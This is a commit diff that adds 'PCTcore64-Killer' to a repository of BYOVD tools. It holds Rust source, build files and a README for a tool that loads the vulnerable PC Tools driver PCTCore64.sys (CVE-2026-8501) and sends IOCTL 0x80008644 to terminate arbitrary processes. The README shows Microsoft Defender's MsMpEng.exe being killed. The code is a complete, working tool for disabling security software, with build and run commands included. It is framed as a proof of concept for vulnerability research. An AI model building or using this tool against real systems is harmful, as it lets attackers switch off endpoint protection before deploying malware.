Add PCTcore64-Killer (CVE-2026-8501)

Cargo.toml

@@ -8,6 +8,7 @@ members = [
     "K7Terminator",
     "Ksapi64-Killer",
     "NSec-Killer",
+    "PCTcore64-Killer",
     "PoisonX-Killer",
     "STProcessMonitor-Killer",
     "TfSysMon-Killer",

PCTcore64-Killer/Cargo.toml

@@ -0,0 +1,9 @@
+[package]
+name = "PCTcore64-Killer"
+version.workspace = true
+edition.workspace = true
+
+[dependencies]
+byovd-lib.workspace = true
+clap.workspace = true
+winapi.workspace = true

PCTcore64-Killer/README.md

@@ -0,0 +1,42 @@
+# PCTcore64-Killer
+
+- PoC for **CVE-2026-8501** / [VU#158530](https://kb.cert.org/vuls/id/158530) in `PCTCore64.sys` from PC Tools Internet Security
+- `PCTCore64.sys` SHA256: `C76DD87891E3E30DB2AED057E7B04C19CA264F434C21F68A7A2D9B17A97AFF39`
+- Driver creates `\Device\PCTCoreDevice` (symlink `\\.\PCTCoreDriver`) with no SDDL / `IoCreateDeviceSecure`, so any user can open it
+
+Built on [`byovd-lib`](../byovd-lib/) -- implements the `DriverConfig` trait and delegates the full BYOVD flow to the shared library.
+
+## What it does
+
+IOCTL `0x80008644` takes a `{ target_pid: u64, exit_code: u32 }` buffer and calls `ZwOpenProcess(PROCESS_TERMINATE)` + `ZwTerminateProcess` on the target. No caller check, no PPL bypass on this path -- works for any non-PPL process.
+
+## Usage
+
+Place `PCTcore64.sys` in the same directory as the executable.
+
+```text
+BYOVD process killer using PCTcore64 driver (CVE-2026-8501)
+
+Usage: PCTcore64-Killer.exe [OPTIONS] --name <PROCESS_NAME>
+
+Options:
+  -n, --name <PROCESS_NAME>  Target process name (e.g., notepad.exe)
+  -a, --attach               Attach to an already-loaded driver (skip service install/start/stop)
+  -h, --help                 Print help
+  -V, --version              Print version
+```
+
+```bash
+# Build
+cargo build --release -p PCTcore64-Killer
+
+# Run (installs and starts driver automatically)
+.\PCTcore64-Killer.exe -n notepad.exe
+
+# Run against an already-loaded driver
+.\PCTcore64-Killer.exe -n notepad.exe --attach
+```
+
+Windows 10 Pro (build 19045)
+
+![PCTcore64-Killer PoC — MsMpEng.exe terminated via IOCTL 0x80008644](pctcore64_poc.png)

PCTcore64-Killer/src/main.rs

@@ -0,0 +1,82 @@
+use byovd_lib::{get_pid_by_name, send_ioctl, DriverConfig, Result};
+use clap::Parser;
+use winapi::um::winnt::{GENERIC_READ, GENERIC_WRITE};
+
+// ============================================================================
+// Driver Configuration -- PCTcore64.sys (PC Tools Internet Security)
+// CVE-2026-8501 / VU#158530
+// ============================================================================
+
+struct PCTcore64Driver;
+
+impl DriverConfig for PCTcore64Driver {
+    fn driver_name(&self) -> &str {
+        "PCTcore64"
+    }
+
+    fn driver_file(&self) -> &str {
+        "PCTcore64.sys"
+    }
+
+    fn device_path(&self) -> &str {
+        "\\\\.\\PCTCoreDriver"
+    }
+
+    fn ioctl_code(&self) -> u32 {
+        0x80008644
+    }
+
+    fn build_ioctl_input(&self, pid: u32, _process_name: &str) -> Vec<u8> {
+        // { pid: ULONG_PTR (+0x00), exit_code: DWORD (+0x08), pad (+0x0C) } = 0x10 bytes
+        // Driver checks InputBufferLength >= 0x10
+        let mut buf = vec![0u8; 0x10];
+        buf[..8].copy_from_slice(&(pid as u64).to_ne_bytes());
+        buf
+    }
+
+    fn device_access(&self) -> u32 {
+        GENERIC_READ | GENERIC_WRITE
+    }
+
+    fn ioctl_output_size(&self) -> usize {
+        4
+    }
+}
+
+// ============================================================================
+// CLI
+// ============================================================================
+
+#[derive(Parser)]
+#[command(name = "PCTcore64-Killer", version, author = "BlackSnufkin")]
+#[command(about = "BYOVD process killer using PCTcore64 driver (CVE-2026-8501)")]
+struct Cli {
+    /// Target process name (e.g., notepad.exe)
+    #[arg(short = 'n', long = "name", required = true)]
+    process_name: String,
+
+    /// Attach to an already-loaded driver -- skip service install/start/stop
+    #[arg(short = 'a', long = "attach")]
+    attach: bool,
+}
+
+// ============================================================================
+// Main
+// ============================================================================
+
+fn main() -> Result<()> {
+    let cli = Cli::parse();
+    let driver = PCTcore64Driver;
+
+    if cli.attach {
+        println!("[*] Attach mode: assuming driver is already loaded");
+        let pid = get_pid_by_name(&cli.process_name)
+            .ok_or_else(|| format!("Process '{}' not found", cli.process_name))?;
+        println!("[*] Target {} -> PID {}", cli.process_name, pid);
+        send_ioctl(&driver, pid, &cli.process_name)?;
+        println!("[+] IOCTL dispatched");
+        Ok(())
+    } else {
+        byovd_lib::run(&driver, &cli.process_name, None)
+    }
+}

README.md

@@ -59,6 +59,7 @@ BYOVD/
 ├── K7Terminator/                    # K7 RKScan -- standalone, LPE + BYOVD modes
 ├── Ksapi64-Killer/                  # Kingsoft ksapi64
 ├── NSec-Killer/                     # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
+├── PCTcore64-Killer/                # PC Tools PCTcore64 (CVE-2026-8501)
 ├── PoisonX-Killer/                  # Microsoft PoisonX (j3h4ck reproduction)
 ├── STProcessMonitor-Killer/         # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
 ├── TfSysMon-Killer/                 # ThreatFire sysmon
@@ -215,6 +216,7 @@ Below are the drivers and their respective PoCs available in this repository:
 - **[K7Terminator](https://github.com/BlackSnufkin/BYOVD/tree/main/K7Terminator)**: Targets `K7RKScan.sys` from `K7 Computing` (CVE-2025-52915, CVE-2025-1055) -- [Full write-up](https://blacksnufkin.github.io/posts/BYOVD-CVE-2025-52915/).
 - **[Ksapi64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Ksapi64-Killer)**: Targets `ksapi64.sys` / `ksapi64_del.sys` from `Kingsoft Corporation`.
 - **[NSec-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/NSec-Killer)**: Targets `NSecKrnl.sys` from `NSEC` (ValleyRAT BYOVD reproduction).
+- **[PCTcore64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/PCTcore64-Killer)**: Targets `PCTcore64.sys` from `PC Tools` (CVE-2026-8501).
 - **[PoisonX-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/PoisonX-Killer)**: Target `PoisonX.sys` from `Microsoft` ([@j3h4ck](https://github.com/j3h4ck/PoisonKiller/) reproduction)
 - **[STProcessMonitor-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/STProcessMonitor-Killer)**: Targets `STProcessMonitor.sys` from `Safetica` (CVE-2025-70795, supports v11.11.4 and v11.26.18).
 - **[TfSysMon-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer)**: Targets `sysmon.sys` from `ThreatFire System Monitor`.